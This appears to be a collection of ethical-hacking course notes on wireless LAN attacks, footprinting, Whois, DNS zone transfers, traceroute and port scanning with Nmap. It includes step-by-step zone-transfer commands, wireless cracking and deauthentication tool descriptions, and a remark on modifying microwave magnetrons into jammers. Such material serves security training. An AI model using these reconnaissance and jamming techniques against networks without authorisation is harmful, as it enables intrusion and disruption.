[LAN Threats]

Wireless networking opens up a network to threats that you may not ever even consider on a wired network. This section discusses some of the attacks that can be launched against a WLAN. These include eavesdropping, open authentication, spoofing, and denial of service. During a pen test, the wireless network is something that an ethical hacker wants to look at closely. Unlike the wired network, a hacker can launch his attack from the parking lot or even across the street. The entire act of searching for wireless networks has created some unique activities, such as

Warchalking The act of marking buildings or sidewalks with chalk to show others where it’s possible to access an exposed company wireless network.

Wardriving The act of finding and marking the locations and status of wireless networks, this activity is usually performed by automobile. The wardriver typically uses a Global Positioning System (GPS) device to record the location and a discovery tool such as NetStumbler.

Warflying Similar to wardriving, except that a plane is used instead of a car. One of the first publicized acts occurred on the San Francisco area.

[Eavesdropping]

Eavesdropping is one of these basic problems. If the attacker is within range, he can simply intercept radio signals and decode the data being transmitted. Nothing more than a wireless sniffer and the ability to place the wireless NIC into promiscuous mode is required. Remember that promiscuous mode means that the adapter has the capability to capture all packets, not just those addressed to the client. If the hacker uses an antenna, he can be even farther away, which makes these attacks hard to detect and prevent. Besides giving the hacker the ability to gather information about the network and its structure, protocols such as File Transfer Protocol (FTP), Telnet, and Simple Mail Transport Protocol (SMTP) that transmit username and passwords in clear text are highly vulnerable. Anything that is not encrypted is vulnerable to attack. Even if encryption is being used, a hacker eavesdropping on a network is still presented with the cipher text, which can be stored, analyzed, and potentially cracked at a later time. Would you really feel safe knowing that hackers have the NT LanMan (NTLM) password hashes? Programs such as L0phtcrack and John the Ripper can easily crack weak passwords if given the hash. If the hacker is limited in what he can sniff, he can always attempt active sniffing. ARP poisoning allows an attacker to overcome a switch’s segmentation and eavesdrop on all local communication. WEP cracking is another type of eavesdropping attack. Soon after WEP was released, problems were discovered that led to ways in which it can be cracked. Although the deficiencies of WEP were corrected with the WPA protocol, those WAPs still running WEP are vulnerable.

[Denial of Service]

If all else fails, the hacker can always attempt a DoS. For example, these attacks can target a single device, can target the entire wireless network, or can attempt to render wireless equipment useless. Some common types of wireless DoS attacks are discussed here:

Authentication flood attack This type of DoS attack generates a flood of EAPOL messages requesting 802.1X authentication. As a result, the authentication server cannot respond to the flood of authentication requests and consequently fails at returning successful connections to valid clients.

Deauthentication flood attack This type of DoS targets an individual client and works by spoofing a de-authentication frame from the WAP to the victim. It is sometimes called the Fatajack attack. The victim’s wireless device would attempt to reconnect, so the attack would need to send a stream of de-authentication packets to keep the client out of service.

Network jamming attack This type of DoS targets the entire wireless network. The attacker simply builds or purchases a transmitter to flood the airwaves in the vicinity of the wireless network. A 1,000 watt jammer 300 feet away from a building can jam 50 to 100 feet into the office area. Where would a hacker get such a device? They are found inside of microwave ovens and known as a magnetron. Normally, a microwave oven doesn’t emit radio signals beyond its shielded cabinet. They must be modified to become useful, but little skill is required. This type of attack is as dangerous to people who are near the transmitter as it is to the network itself.

Equipment destruction attack This type of DoS targets the access point. The hacker uses a high output transmitter with a directional high gain antenna to pulse the access point. High energy RF power will damage electronics in the WAP, resulting in it being permanently out of service. Such high energy RF guns have been demonstrated to work and cost little to build. Although denial of service attacks don’t give the hacker access to the wireless network, they do attack availability and can bring communication to a standstill.

[The Radio Spectrum as Defined by the FCC]

Band Name Range Usage
Very Low Frequency (VLF) 10kHz to 30kHz Cable locating equipment
Low Frequency (LF) 30kHz to 300kHz Maritime mobile service
Medium Frequency (MF) 300kHz to 3MHz Avalanche transceivers, aircraft navigation, ham radio
High Frequency (HF) 3MHz to 30MHz Radio astronomy, Radio telephone, Civil Air Patrol, CB radios
Very High Frequency (VHF) 30MHz to 328.6MHz Cordless phones, TV, RC cars, aircraft/police/business radios
Ultra High Frequency (UHF) 328.6MHz to 2.9GHz Police/ Fire, business, cell phones, GPS, wireless networks
Super High Frequency (SHF) 2.9GHz to 30GHz Terminal doppler weather radar, satellite communications
Extremely High Frequency (EHF) 30GHz and above Government radio, astronomy, military,radar systems, HAM radio

Radio waves are very easy to create; in fact, you can demonstrate this right now. The following list illustrates how to create and hear your own radio waves.

Items needed: 9-volt battery, quarter, AM radio

Tune the AM radio to a spot between radio stations, so that you hear static.

Place the battery near the antenna of the AM radio.

Quickly tap the quarter onto the two terminals of the battery, making sure the quarter comes in contact with both terminals simultaneously.

Each time the quarter comes in contact with the battery terminals, it will generate a small radio wave, causing a crackle in the radio.

The circuit you create produces circular waves of electromagnetic interference, perpendicular to the direction of electrical flow.

When an 802.11b device is sending data, it is not just transmitting on a single frequency. A technology called Direct Sequence Spread Spectrum (DSSS) is used to spread the transmission over multiple frequencies. DSSS is designed to maximize the effectiveness of the radio transmission, while minimizing the potential for interference. In DSSS, a Channel refers to a specific ruleset rather than a particular frequency. These rulesets define how the radio will spread the signal across multiple frequencies, also identified as channels. It is much like having a party at your house at which there are people in eleven different rooms. In each of the eleven rooms, the guests are having a different conversation, and the sound is traveling from room to room. While you are in room one, you can hear the conversations of rooms one, two, three, four, and five. Guests in room six can hear the conversations in rooms two, three, four, five, six, seven, eight, nine, and ten, but they cannot hear anything from room one because of a wall, or ruleset.

Jamming or causing interference to an 802.11b network can be fairly simple. There are several commercially available devices that that will bring a wireless network to its knees. For example, a Bluetooth-enabled device is one such item that can cause headaches for 802.11b networks. We have found that when a Bluetooth device is located within approximately ten meters of 802.11b devices, the Bluetooth device will cause a jamming type of denial-of-service attack. The same is true of several 2.4GHz cordless phones that are currently available. This is because the 2.4GHz band is becoming widely used and is considered shared, thus allowing all kinds of devices to use it.

The signals generated by these devices can appear to be an 802.11 transmission to other stations on the wireless network, thus causing them to hold their transmissions until the signal has gone, or until you have hung up the cordless phone. The other possibility is that the devices will just cause an increase in RF noise, which could cause the 802.11b devices to switch to a slower data rate. Devices re-send frames over and over again to increase the odds of the other station receiving it. Normally, data is transmitted at 11Mbps when sending one copy of each frame. If it were to drop to 50% efficiency, the device would still be transmitting at 11Mbps, but it would be sending a duplicate of each frame, making the effective speed 5.5Mbps. Thus you will have a significant decrease in network performance because of re-sending duplicate frames. In addition, with a high level of RF noise, you can expect to see an increase in corrupt frames, which also requires a full retransmission of the packet.

[Wireless Hacking Tools]

There is no shortage of wireless tools for the attacker or the ethical hacker performing a security assessment or a pen test. Over time, tools come and go as technologies change and vulnerabilities are fixed. Therefore, it is important to understand what the tools do and where they fit in the methodology of a security assessment. Just listing all the available tools could easily fill this page.

NetStumbler This Windows-only tool is designed to locate and detect wireless LANs using 802.11b, 802.11a (XP only), and 802.11g WLAN standards. It is used for wardriving, verifying network configurations, detecting of rogue access points, and aiming directional antennas for long-haul WLAN links.

Mognet An open source Java-based wireless sniffer that was designed for handhelds but will run on other platforms as well. It performs real-time frame captures and can save and load frames in common formats, such as Ethereal, Libpcap, and TCPdump.

WaveStumbler Another sniffing tool that was designed for Linux. It reports basic information about access points such as channel, SSID, and MAC.

AiroPeek A Windows-based commercial wireless LAN analyzer designed to help security professionals deploy, secure, and troubleshoot wireless LANs. AiroPeek has the functionality to perform site surveys, security assessments, client troubleshooting, WLAN monitoring, remote WLAN analysis, and application layer protocol analysis.

AirSnort A Linux-based WLAN WEP cracking tool that recovers encryption keys. AirSnort operates by passively monitoring transmissions and then computing the encryption key when the program captures enough packets.

Kismet A useful Linux-based 802.11 wireless network detector, sniffer, and intrusion detection system. Kismet identifies networks by passively collecting packets and detecting standard named networks, detecting masked networks, and inferring the presence of nonbeaconing networks via data traffic.

Void11 A wireless network penetration utility. It implements deauthentication DoS attacks against the 802.11 protocol. It can be used to speed up the WEP cracking process.

THC-wardrive A Linux tool for mapping wireless access points works with a GPS.

AirTraf A packet capture decode tool for 802.11b wireless networks. This Linux tool gathers and organizes packets and performs bandwidth calculation, as well as signal strength information on a per wireless node basis.

Airsnarf Airsnarf is a simple rogue wireless access point setup utility designed to demonstrate how a rogue AP can steal usernames and passwords from public wireless hotspots. Airsnarf was developed and released to demonstrate an inherent vulnerability of public 802.11b hotspotssnarfing usernames and passwords by confusing users with DNS and HTTP redirects from a competing AP.

Aircrack A set of tools for auditing wireless networks that includes airodump (a 802.11 packet capture program), aireplay (a 802.11 packet injection program), aircrack (a static WEP and WPA-PSK key cracker), and airdecap (a decryptor for WEP/WPA capture files). This is one of a new set of tools that can quickly crack WEP keys; it’s much faster than older tools.

[Overview]

The techniques for wireless attacks are not new. Indeed, they are based on the ancient attacks that have been used on wired networks from time immemorial, with only minor updates. In fact, the goal of attacking a wireless network is usually not to compromise the wireless network itself, but rather to gain a foothold into the wired network within. Because traditional wired networks have been hardened from repeated attacks for more than thirty years, many are beginning to evolve formidable defenses. For example, a properly configured firewall can provide much security. However, consider what happens when you have an unsecured wireless access point sitting within the firewall—you have just effectively opened a back door right through your firewall. Thus, the proliferation of wireless networks has set the state of information security back more than a decade…almost to the 1980s, when computer systems were wide open to attack via modems and war dialing. In time, most wireless networks will fall victim to at least one type of wireless attack. These attacks are not limited to just the corporate world, either. One of the largest consumers of wireless networks is the residential customer. These consumers are typically looking for a way to use their broadband connection in any room of the house. Worse, the vast majority of consumers are not aware of security issues. You can now buy access points from the local electronic store for less than $200, but many of these do not have the same security features of the Corporate or Professional models that run $800 and up. With more users installing these low-end access points, both on personal networks and within small businesses, the number of easy targets is growing exponentially. There are many different models of 802.11b Wireless Network Interface Cards. One thing common to them all is the capability to put them into Infrastructure and Peer-to-Peer Mode. The IEEE defines Infrastructure Mode as Basic Service Set (BSS). It is used to connect a client to an access point on an established network . Peer-to-Peer Mode, also known as ad-hoc mode, is known as Independent Basic Service Set (IBSS). This mode is used to connect two or more wireless devices to form a small close range network, much like peer-to-peer networking on wired networks. One of the major disadvantages of this type of wireless network is that there is no central security control; in fact, there is very little security at all. The most difficult part of launching an attack on this type of network is finding one to attack. Because they are informally deployed, they can pop up and disappear overnight. Examples of such networks can be found at conventions and coffee shops, as well as any situation that requires Internet connection sharing (that is, splitting a single Internet connection among several users).

[Surveillance]

There are several approaches to locating a wireless network. The most basic method is a surveillance attack. You can use this technique on the spur of the moment, as it requires no special hardware or preparation. Most significantly, it is difficult, if not impossible, to detect. How is this type of attack launched? You simply observe the environment around you.

Things to Look For Potential Locations
Antennas Walls, ceilings, hallways, roofs, windows
Access points Ceilings, walls, support beams, shelves
Network cable Traveling up walls or shelves, or across a ceiling
Newly-installed platforms Walls, hallways and support beams
Devices—Scanners/PDAs Employees, reception or checkout areas

This might sound basic, but it is still an effective method of reconnaissance. In some cases, you can even find out what type of access point is being used, because many companies place devices in clear view. You can even talk to employees that are using the wireless devices and ask a few simple questions about them. They probably will not be able to give you much usable information, but they might be able to confirm the existence of a wireless network. Be careful when talking to employees and asking questions, as you do not want to tip anybody off to a potential attack. Even when performing a legitimate security audit of your own network, you still must have prior written permission from your company’s management, and you must always obey all local and regional laws. Surveillance attack is extremely targeted, attackers can go days without seeing anything. In addition, this type of attack is unavailable if an attacker does not have physical access to the premises. Because of this, hackers developed a new method of discovery—war driving.

Scanning Chủ nhật, Tháng 3 9 2008 

Footprinting and Scanning is the first basis of hacking. Information gathering has many phases like profiling your target. Whois, ARIN can reveal public information of a domain that can be leveraged further. Traceroute and mail tracking can be used to target specific IP and later for spoofing. Nslookup can reveal specific users and zone transfers can compromise DNS security. Footprinting is necessary to systematically and methodically ensure that all pieces of information related to the aforementioned technologies are identified.

Without a sound methodology for performing this type of reconnaissance, you are likely to miss key pieces of information related to a specific technology or organization. Footprinting is often the most arduous task of trying to determine the security posture of an entity; however, it is one of the most important.

Footprinting must be performed accurately and in a controlled fashion. This is the reconnaissance step before anything is done. Tools like Nmap will be deployed to scan the target and get any available information possible. Information warfare is not without its battle plans or surveillance techniques. In this context, a strategic map used in a battle would be a close analogy to a footprint.

Note that through this course, we use the term ‘organization’ to represent a target system. This includes discussion pertaining to a single system as well. Footprinting therefore, needs to be carried out precisely and in an organized manner. The information unveiled at various network levels can include details of domain name, network blocks, network services and applications, system architecture, intrusion detection systems, specific IP addresses, access control mechanisms and related lists, phone numbers, contact addresses, authentication mechanisms and system enumeration. This listing may include more information depending on how various security aspects are addressed by the organization.

Information gathered during the Footprinting phase can be used as a springboard in narrowing down the attack methodology and also in assessing its merit. One dubious aspect of the information gathering phase is that most of it can be sought within legal bindings and from publicly available information. It is to be noted that though the Internet originated from the efforts of the defense department and many of the protocols were established to serve the purpose of communicating information reliably, completely and dependably; the speed with which it would penetrate the common world was unpredicted, and so were the security concerns that would arise from the increased networked environment.

One of the best Hack Tool to gather information is Google! Google Hacking if most popular among Ethical Hackers and Black Hat Hackers. When using scanning tools the purpose is to detect ‘live’ systems on target network. Discovering services running/ listening on target systems. Understanding port scanning techniques. Identifying TCP and UDP services running on target network.

Discovering the operating system. Understanding active and passive fingerprinting. Automated discovery tools.

There are various scan types – SYN, FIN, Connect, ACK, RPC, Inverse Mapping, FTP Bounce, Idle Host etc. The use of a particular scan type depends on the objective at hand. Port Scanning is one of the most popular reconnaissance techniques used by hackers to discover services that can be compromised.

A potential target computer runs many ’services’ that listen at ‘well-known’ ‘ports’. By scanning which ports are available on the victim, the hacker finds potential vulnerabilities that can be exploited. Scan techniques can be differentiated broadly into Vanilla, Strobe, Stealth, FTP Bounce, Fragmented Packets, Sweep and UDP Scans. One of the primary activities that an attacker undertakes while attempting to penetrate the system is to compile an inventory of open ports using any of the port scanning techniques. On completion, this list helps the attacker identify various services that are running on the target system using a RFC compliant port list (discussed before under the services file). This allows further strategizing leading to system compromise. Port numbers are 16-bit unsigned numbers and can be broadly classified into three categories. Port 0-1023 is “well known ports”, 1024 – 49151 are “registered ports” and 49152 – 65535 is “dynamic or private ports”. Port scanning usually means scanning for TCP ports, which being a stateful protocol – based on acknowledgement, gives good feedback to the attacker. One problem with port scanning is that it is effortlessly logged by the services listening at the scanned ports.

This is because they detect an incoming connection, but do not receive any data, thereby generating an application error log. UDP, or connection-less (without acknowledgement) traffic, responds in a different manner. In order to scan for UDP ports, the attacker generally sends empty UDP datagram at the port. If the port is listening, the service will send back an error message or ignore the incoming datagram. If the port is closed, then the operating system sends back an “ICM P Port Unreachable” message. Here, by the method of exclusion, the attacker can find open ports.

Usually UDP ports are high end ports. Port scanning techniques can be broadly differentiated into open scan, half-open scan and stealth scan. There are other techniques such as ICMP echo and FTP bounce, and these are covered under sweeps and miscellaneous scans. How does an attacker decide on which scan to adopt? Well, this depends largely on the knowledge gained by the attacker during his reconnaissance regarding the type of network topology, IDS and other logging features present on the system. Predictably, an attacker would like to keep his actions undetected. One important aspect of information gathering is documentation. Most people don’t like paperwork, but it’s a requirement that can’t be ignored. The best way to get off to a good start is to develop a systematic method to profile a target and record the results. Create a matrix with fields to record domain name, IP address, DNS servers, employee information, email addresses, IP address range, open ports, and banner details.

[Whois]

The primary tool to navigate these databases is Whois. Whois is a utility that interrogates the Internet domain name administration system and returns the domain ownership, address, location, phone number, and other details about a specified domain name. Whois is the primary tool used to query Domain Name Services (DNS). If you’re performing this information gathering from a Linux computer, the good news is Whois is built in. From the Linux prompt, users can type in whois domainname.com or whois? to get a list of various options.

Windows users are not as fortunate as Linux users because Windows does not have a built-in Whois client. Windows users will have to use a third-party tool or website to obtain Whois information. One tool that a Windows user can use to perform Whois lookups is Sam Spade. There’s also a variety of websites that you can use to obtain Whois information.

A Domain proxy is one way that organizations can protect their identity while still complying with laws that require domain ownership to be public information. Domain proxies work by applying anonymous contact information as well an anonymous email address. This information is displayed when someone performs a domain Whois.

The proxy then forwards any emails or contact information that might come to those addresses on to you. This information provides a contact person, address, phone number, and DNS servers. A hacker skilled in the art of social engineering might use this information to call the organization and pretend to be Kenneth, or he might use the phone number to war dial a range of phone numbers looking for modems.

[DNS Enumeration]

The attacker has also identified the names of the DNS servers. DNS servers might be targeted for zone transfers. A zone transfer is the mechanism used by DNS servers to update each other by transferring the contents of their database. DNS is structured as a hierarchy so that when you request DNS information, your request is passed up the hierarchy until a DNS server is found that can resolve the domain name request.
What’s left at this step is to try and gather additional information from the organization’s DNS servers. The primary tool to query DNS servers is nslookup. Nslookup provides machine name and address information. Both Linux and Windows have nslookup clients. Nslookup is used by typing nslookup from the command line followed by an IP address or a machine name. Doing so will cause nslookup to return the name, all known IP addresses, and all known CNAMES for the identified machine. Nslookup queries DNS servers for machine name and address information.
Using nslookup is rather straightforward. Let’s look at an example in which nslookup is used to find out the IP addresses of Google’s web servers. By entering nslookup www.google.com, the following response is obtained:

C:\>nslookup www.google.com
Server: dnsr1.sbcglobal.net
Address: 68.94.156.1
Non-authoritative answer:
Name: www.l.google.com
Addresses: 64.233.187.99, 64.233.187.104
Aliases: www.google.com

The first two lines of output say which DNS servers are being queried. In this case, it’s dnsr1.sbcglobal.net in Texas. The non-authoritative answer lists two IP addresses for the Google web servers. Responses from non-authoritative servers do not contain copies of any domains. They have a cache file that is constructed from all the DNS lookups it has performed in the past for which it has gotten an authoritative response.
Nslookup can also be used in an interactive mode by just typing nslookup at the command prompt. In interactive mode, the user will be given a prompt of >; at which point, the user can enter a variety of options, including attempts to perform a zone transfer.
DNS normally moves information from one DNS server to another through the DNS zone transfer process. If a domain contains more than one name server, only one of these servers will be the primary. Any other servers in the domain will be secondary servers. Zone transfers are much like the DHCP process in that each is a four-step process. DNS zone transfers function as follows:

1. The secondary name server starts the process by requesting the SOA record from the primary name server.

2. The primary then checks the list of authorized servers, and if the secondary server’s name is on that list, the SOA record is sent

3. The secondary must then check the SOA record to see if there is a match against the SOA it already maintains.

If the SOA is a match, the process stops here; however, if the SOA has a serial number that is higher, the secondary will need an update. The serial number indicates if changes were made since the last time the secondary server synchronized with the primary server. If an update is required, the secondary name server will send an All Zone Transfer (AXFR) request to the primary server.

4. Upon receipt of the AXFR, the primary server will send the entire zone file to the secondary name server.

A zone transfer is unlike a normal lookup in that the user is attempting to retrieve a copy of the entire zone file for a domain from a DNS server. This can provide a hacker or pen tester with a wealth of information. This is not something that the target organization should be allowing. Unlike lookups that primarily occur on UDP 53, unless the response is greater than 512 bytes, zone transfers use TCP 53. To attempt a zone transfer, you must be connected to a DNS server that is the authoritative server for that zone. Remember the nslookup information we previously gathered? It’s shown here again for your convenience.

Registrant:
Pearson Technology Centre
Kenneth Simmons
200 Old Tappan Rd .
Old Tappan, NJ 07675 USA
Email: billing@superlibrary.com
Phone: 001-201-7846187
Registrar Name….: REGISTER.COM, INC.
Registrar Whois…: whois.register.com
Registrar Homepage: www.register.com
DNS Servers:
usrxdns1.pearsontc.com
oldtxdns2.pearsontc.com

Review the last two entries. Both usrxdns1.pearsontc.com and oldtxdns2.pearsontc.com are the DNS authoritative servers for ExamCram.com. These are the addresses that an attacker will target to attempt a zone transfer. The steps to try and force a zone transfer are shown here:

1. nslookupEnter nslookup from the command line

2. server <ipaddress>Enter the IP address of the authoritative server for that zone.

3. set type = anyTells nslookup to query for any record.

4. ls d <domain.com>Domain.com is the name of the targeted domain of the final step that performs the zone transfer.

One of two things will happen at this point; either you will receive an error message indicating that the transfer was unsuccessful, or you will be returned a wealth of information, as shown in the following:

C:\WINNT\system32>nslookup
Default Server: dnsr1.sbcglobal.net
Address: 128.112.3.12

server 172.6.1.114
set type=any
ls -d example.com

example.com. SOA hostmaster.sbc.net (950849 21600 3600 1728000 3600)
example.com. NS auth100.ns.sbc.net
example.com. NS auth110.ns.sbc.net
example.com. A 10.14.229.23
example.com. MX 10 dallassmtpr1.example.com
example.com. MX 20 dallassmtpr2.example.com
example.com. MX 30 lasmtpr1.example.com
lasmtpr1 A 192.172.243.240
dallassmtpr1 A 192.172.163.9
dallaslink2 A 192.172.161.4
spamassassin A 192.172.170.49
dallassmtpr2 A 192.172.163.7
dallasextra A 192.172.170.17
dallasgate A 192.172.163.22
lalink A 172.16.208.249
dallassmtp1 A 192.172.170.49
nygate A 192.172.3.250
www A 10.49.229.203
dallassmtp MX 10 dallassmtpr1.example.com
dallassmtp MX 20 dallassmtpr2.example.com
dallassmtp MX 30 lasmtpr1.example.com

Dig is another tool that can be used to provide this type of information. It’s available for Linux and for Windows. Dig is a powerful tool that can be used to investigate the DNS system.
This type of information should not be made available to just anyone. Hackers can use this to find out what other servers are running on the network, and it can help them map the network and formulate what types of attacks to launch. Notice the first line that has example.com listed previously. Observe the final value of 3600 on that line. That is the TTL value discussed previously which would inform a hacker as to how long DNS poisoning would last. 3,600 seconds is 60 minutes. Zone transfers are intended for use by secondary DNS servers to synchronize with their primary DNS server. You should make sure that only specific IP addresses are allowed to request zone transfers. Although most Operating Systems restrict this by default, Windows 2000 did not. So, be aware of this if any 2000 servers are still in your network. All DNS servers should be tested. It is very often the case in which the primary has tight security, but the secondaries will allow zone transfers

[Google Hacking]

Most of us use Google or another search engine to locate information. What you might not know is that search engines, such as Google, have the capability to perform much more powerful searches than most people ever dream of. Not only can Google translate documents, perform news searches, do image searches, but it can also be used by hackers and attackers to do something that has been termed Google hacking. By using basic search techniques combined with advanced operators, Google can become a powerful vulnerability search tool.
Google can be used to uncover many pieces of sensitive information that shouldn’t be revealed. To learn more about Google hacking, take a look at

http://johnny.ihackstuff.com

[Network Range]

Now that the pen test team has been able to locate name, phone numbers, addresses, some server names, and IP addresses, it’s important to find out what range of IP addresses are available for scanning and further enumeration. If you take the IP address of a web server discovered earlier and enter it into the Whois lookup at www.arin.net, the network’s range can be determined. As an example, 192.17.170.17 was entered into the ARIN Whois, and the following information was received:

OrgName: target network
OrgID: Target-2
Address: 1313 Mockingbird Road
City: Anytown
StateProv: Tx
PostalCode: 72341
Country: US
ReferralServer: rwhois://rwhois.exodus.net:4321/
NetRange: 192.17.12.0 – 192.17.12.255
CIDR: 192.17.0.0/24
NetName: SAVVIS
NetHandle: NET-192-17-12-0-1
Parent: NET-192-0-0-0-0

This means that the target network has 254 total addresses. The attacker can now focus his efforts on the range from 192.17.12.1 to 192.17.12.254 /24. If these results don’t prove satisfactory, traceroute can be used for additional mapping.

[Traceroute]

The traceroute utility is used to determine the path to a target computer. Just as with nslookup, traceroute is available on Windows and UNIX platforms. In Windows, it is known as tracert because of 8.3 legacy filename constraints remaining from DOS. Traceroute was originally developed by Van Jacobson to view the path a packet follows from its source to its destination. Traceroute owes its functionality to the IP header time-to-live (TTL) field. You might remember from the discussion in Chapter 2, “The Technical Foundations of Hacking,” that the TTL field is used to limit IP datagram’s. Without a TTL, some IP datagram’s might travel the Internet forever as there would be no means of timeout. TTL functions as a decrementing counter. Each hop that a datagram passes through reduces the TTL field by one. If the TTL value reaches 0, the datagram is discarded and a time exceeded in transit Internet Control Message Protocol (ICMP) message is created to inform the source of the failure. Linux tracer-oute is based on UDP, whereas Windows uses ICMP. To get a better idea of how this works, let’s take a look at how Windows would process a tracer-oute. For this example, say that the target is three hops away. Windows would send out a packet with a TTL of 1. Upon reaching the first router, the packet TTL value would be decremented to 0, which would illicit a time exceeded in transit error message. This message would be sent back to the sender to indicate that the packet did not reach the remote host. Receipt of the message would inform Windows that it had yet to reach its destination, and the IP of the device in which the datagram timed out would be displayed. Next, Windows would increase the TTL to a value of 2. This datagram would make it through the first router, where the TTL value would be decremented to 1. Then it would make it through the second router; at which time, the TTL value would be decremented to 0 and the packet would expire. Therefore, the second router would create a time exceeded in transit error message and forward it to the original source. The IP address of this device would next be displayed on the user’s computer. Finally, the TTL would be increased to 3. This datagram would easily make it past the first and second hop and arrive at the third hop. Because the third hop is the last hop before the target, the router would forward the packet to the destination and the target would issue a normal ICMP ping response. The output of this traceroute can be seen here:

C:\>tracert 192.168.1.200
Tracing route to 192.168.1.200:
1 10 ms <10 ms <10 ms
2 10 ms 10 ms 20 ms
3 20 ms 20 ms 20 ms 192.168.1.200
Trace complete.

Linux-based versions of traceroute work much the same way but use UDP. Traceroute sends these UDP packets targeted to high order port numbers that nothing should be listening on. Just as described previously, the TTL is increased until the target device is reached. Because traceroute is using a high order UDP port, typically 33434, the host should ignore the packets after generating port unreachable messages. These ICMP port unreachable messages are used by traceroute to notify the source that the destination has been reached.
It’s advisable to check out more than one version of traceroute if you don’t get the required results. Some techniques can also be used to try and slip traceroute passed a firewall or filtering device.
When UDP and ICMP are not allowed on the remote gateway, TCPTraceroute can be used. Another unique technique was developed by Michael Schiffman, who created a patch called traceroute.diff that allows you to specify the port that traceroute will use. With this handy tool, you could easily direct traceroute to use UDP port 53. Because that port is used for DNS queries, there’s a good chance that it could be used to slip past the firewall.

[Identifying Active Machines]

Attackers will want to know if machines are alive before they attempt to attack. One of the most basic methods of identifying active machines is to perform a ping sweep. Although ping is found on just about every system running TCP/IP, it has been restricted by many organizations.
Ping uses ICMP and works by sending an echo request to a system and waiting for the target to send an echo reply back. If the target device is unreachable, a request time out is returned. Ping is a useful tool to identify active machines and to measure the speed at which packets are moved from one host to another or to get details like the TTL.

Ping does have a couple of drawbacks: First, only one system at a time is pinged and second, not all networks allow ping. To ping a large amount of hosts, a ping sweep is usually performed. Programs that perform ping sweeps typically sweep through a range of devices to determine which ones are active. Some of the programs that will perform ping sweeps include

- Angry IP Scanner
- Pinger
- WS_Ping_ProPack
- Network scan tools
- Super Scan
- Nmap

[Port Scanning]

Port scanning is the process of connecting to TCP and UDP ports for the purpose of finding what services and applications are running on the target device. After running applications, open ports and services are discovered, the hacker can then determine the best way to attack the system.
A good attacker takes time to build an attack plan and also phases his attack so that he is undetected. The primary step in mapping a target network will be to find the limits of the network and assess the perimeter defenses.
The attacker will seek to means of entry by building an inventory of the target network. This will give him an indication regarding any vulnerability that can be exploited and how well the network perimeters are guarded. An attacker might intrude with minimal footprint and lie low to assess what measures are being taken by the target network to detect the intrusion and defend it.

Common Ports and Protocols
Port Service Protocol
20/21 FTP TCP
22 SSH TCP
23 Telnet TCP
25 SMTP TCP
53 DNS TCP/UDP
69 TFTP UDP
80 HTTP TCP
110 POP3 TCP
135 RPC TCP
161/162 SNMP UDP
1433/1434 MSSQL TCP

As you have probably noticed, some of these applications run on TCP, whereas others run on UDP. Although it is certainly possible to scan for all 65,535 TCP and 65,535 UDP ports, many hackers will not. They will concentrate on the first 1,024 ports. These well-known ports are where we find most of the commonly used applications.
A list of well-known ports can be found at www.iana.org/assignments/port-numbers. Now, this is not to say that high order ports should be totally ignored because hackers might break into a system and open a high order port, such as 31337, to use as a backdoor. So, is one protocol easier to scan for than the other?
Well, the answer to that question is yes. TCP offers more opportunity for the hacker to manipulate than UDP. Let’s take a look at why. TCP offers robust communication and is considered a connection protocol. TCP establishes a connection by using what is called a 3-way handshake. Those three steps proceed as follows:

The client sends the server a TCP packet with the sequence number flag (SYN Flag) set and an Initial Sequence Number (ISN).
The server replies by sending a packet with the SYN/ACK flag set to the client. The synchronize sequence number flag informs the client that it would like to communicate with it, whereas the acknowledgement flag informs the client that it received its initial packet. The acknowledgement number will be one digit higher than the client’s ISN. The server will generate an ISN as well to keep track of every byte sent to the client. When the client receives the server’s packet, it creates an ACK packet to acknowledge that the data has been received from the server. At this point, communication can begin.

[TCP Flag Types]

Flag Purpose

SYN Synchronize and Initial Sequence Number (ISN)
ACK Acknowledgement of packets received
FIN Final data flag used during the 4-step shutdown of a session
RST Reset bit used to close an abnormal connection
PSH Push data bit used to signal that data in the packet should be pushed to the beginning of the queue. Usually indicates an urgent message.
URG Urgent data bit used to signify that urgent control characters are present in this packet that should have priority.

At the conclusion of communication, TCP terminates the session by using a 4-step shutdown. Those four steps proceed as follows:

1. The client sends the server a packet with the FIN/ACK flags set.
2. The server sends a packet ACK flag set to acknowledge the clients packet.
3. The server then generates another packet with the FIN/ACK flags set to inform the client that it also is ready to conclude the session.
4. The client sends the server a packet with the ACK flag set to conclude the session.

The TCP system of communication makes for robust communication but also allows a hacker many ways to craft packets in an attempt to coax a server to respond or to try and avoid detection of an intrusion detection system (IDS). Many of these methods are built into Nmap and other port scanning tools, but before taking a look at those tools, some of the more popular port scanning techniques are listed here:

- TCP Connect scan This type of scan is the most reliable, although it is also the most detectable. It is easily logged and detected because a full connection is established. Open ports reply with a SYN/ACK, whereas closed ports respond with an RST/ACK.

- TCP SYN scan This type of scan is known as half open because a full TCP three-way connection is not established. This type of scan was originally developed to be stealthy and evade IDS systems although most now detect it. Open ports reply with a SYN/ACK, whereas closed ports respond with a RST/ACK.

- TCP FIN scan Forget trying to set up a connection; this technique jumps straight to the shutdown. This type of scan sends a FIN packet to the target port. Closed ports should send back an RST. This technique is usually effective only on UNIX devices.

- TCP NULL scan Sure, there should be some type of flag in the packet, but a NULL scan sends a packet with no flags set. If the OS has implemented TCP per RFC 793, closed ports will return an RST.

- TCP ACK scan This scan attempts to determine access control list (ACL) rule sets or identify if stateless inspection is being used. If an ICMP destination unreachable, communication administrative prohibited message is returned, the port is considered to be filtered.

- TCP XMAS scan Sorry, there are no Christmas presents here, just a port scan that has toggled on the FIN, URG, and PSH flags. Closed ports should return an RST.

Now let’s look at UDP scans. UDP is unlike TCP. Although TCP is built on robust connections, UDP is based on speed. With TCP, the hacker has the ability to manipulate flags in an attempt to generate a TCP response or an error message from ICMP. UDP does not have flags, nor does UDP issue responses. It’s a fire and forget protocol! The most you can hope for is a response from ICMP.
If the port is closed, ICMP will attempt to send an ICMP type 3 code 3 port unreachable message to the source of the UDP scan. But, if the network is blocking ICMP, no error message will be returned. Therefore, the response to the scans might simply be no response. If you are planning on doing UDP scans, plan for unreliable results.

[Nmap]

Nmap was developed by a hacker named Fyodor Yarochkin. This popular application is available for Windows and Linux as a GUI and command-line program. It is probably the most widely used port scanner ever developed. It can do many types of scans and OS identification. It also allows you to control the speed of the scan from slow to insane. Its popularity can be seen by the fact that it’s incorporated into other products and was even used in the movie The Matrix. Nmap with the help option is shown here so that you can review some of its many switches. Nmap’s documentation can be found at www.insecure.org

C:\nmap-3.93>nmap -h
Nmap 3.93 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types (‘*’ options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
